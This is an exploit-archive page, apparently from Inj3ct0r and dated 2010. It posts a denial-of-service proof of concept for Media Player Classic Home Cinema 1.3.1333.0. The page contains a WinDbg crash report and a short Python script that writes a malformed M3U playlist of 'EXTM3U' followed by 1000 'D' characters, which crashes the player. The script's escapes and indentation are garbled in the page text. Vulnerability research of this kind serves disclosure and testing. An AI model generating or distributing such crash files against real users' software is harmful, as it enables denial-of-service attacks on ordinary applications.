<!DOCTYPE HTML PUBLIC ‘-//W3C//DTD HTML 4.01 Transitional//EN’><html><head><meta http-equiv=’Content-Type’ content=’text/html; charset=windows-1251′><title>Media Player Classic Heap Overflow/DoS Vulnerability</title><link rel=’shortcut icon’ href=’/favicon.ico’ type=’image/x-icon’><link rel=’alternate’ type=’application/rss+xml’ title=’Inj3ct0r RSS’ href=’/rss’></head><body><pre>====================================================
Media Player Classic Heap Overflow/DoS Vulnerability
====================================================

Tested on:
Media Player Classic – Home Cinema
Build number: 1.3.1333.0
MPC Compiler: VS 2008
FFmpeg Compiler: GCC 4.4.1

###################CRASH REPORT START##################
ModLoad: 77be0000 77bf5000 C:WINDOWSsystem32MSACM32.dll
ModLoad: 77bd0000 77bd7000 C:WINDOWSsystem32midimap.dll
ModLoad: 73ee0000 73ee4000 C:WINDOWSsystem32KsUser.dll
ModLoad: 10000000 100fb000 C:Program FilesK-Lite Codec
PackFiltersvsfilter.dll
ModLoad: 590b0000 590ce000 C:WINDOWSsystem32wmpasf.dll
ModLoad: 71b20000 71b32000 C:WINDOWSsystem32MPR.dll
ModLoad: 6bf50000 6bfcd000 C:WINDOWSsystem32dxmasf.dll
ModLoad: 02530000 0257f000 C:WINDOWSsystem32DRMClien.DLL
(6dc.cec): C++ EH exception – code e06d7363 (!!! second chance !!!)
…………………………. ISSUE
eax=01c2f2e4 ebx=80040218 ecx=00000000 edx=00200003 esi=01c2f36c
edi=003fd08c
eip=7c812aeb esp=01c2f2e0 ebp=01c2f334 iopl=0 nv up ei pl nz na pe
nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
efl=00000206
*** ERROR: Symbol file could not be found. Defaulted to export symbols for
C:WINDOWSsystem32kernel32.dll -
kernel32!RaiseException+0×52:
7c812aeb 5e pop esi
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
0:004&gt; g
WARNING: Continuing a non-continuable exception
(6dc.cec): Break instruction exception – code 80000003 (first chance)
eax=01c2f2e4 ebx=80040218 ecx=00000000 edx=00200003 esi=00000000
edi=003fd08c
eip=0071d14b esp=01c2f37c ebp=01c2f39c iopl=0 nv up ei pl nz na pe
nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
efl=00000206
mpc_hc+0×31d14b:
0071d14b cc int 3

###################CRASH REPORT END##################

For images related to the vulnerability refer my blog

http://darshanams.blogspot.com

##########PoC Start################
print(&quot;n*****Program need to be run on Python 3.1*****&quot;)
print (&quot;&quot;&quot;Media Player Classic – Home Cinema 1.3.1333.0 M3U File DoS
(0-Day)rnrnTested on:nWindows XP SP3n
Media Player Classic – Home Cinemantt Build number: 1.3.1333.0ntt
MPC Compiler: VS 2008ntt FFmpeg Compiler: GCC 4.4.1n&quot;&quot;&quot;)

head = &quot;EXTM3U&quot;
buf = &quot;D&quot; * 1000

mal_buf = head + buf
#print (&quot;mal_buf:&quot;,mal_buf)
try:
mpc_mal = open(&quot;mpc_m3u_crash.m3u&quot;,’w')
mpc_mal.write (mal_buf)
mpc_mal.close()
print (&quot;File Created Successfully: mpc_m3u_crash.m3un&quot;)
except:
print (&quot;Cannnot Create M3U Filen&quot;)

print (&quot;[+] Found and Coded by: Praveen Darshanamrn&quot;)
##########PoC End################

Best Regards,
Praveen Darshanam,
Security Researcher

# <a href=’http://inj3ct0r.com/’>Inj3ct0r.com</a> [2010-07-26]</pre><script type=’text/javascript’>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src=’" + gaJsHost + "google-analytics.com/ga.js’ type=’text/javascript’%3E%3C/script%3E"));</script><script type=’text/javascript’>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>
Source: http://inj3ct0r.com/exploits/13480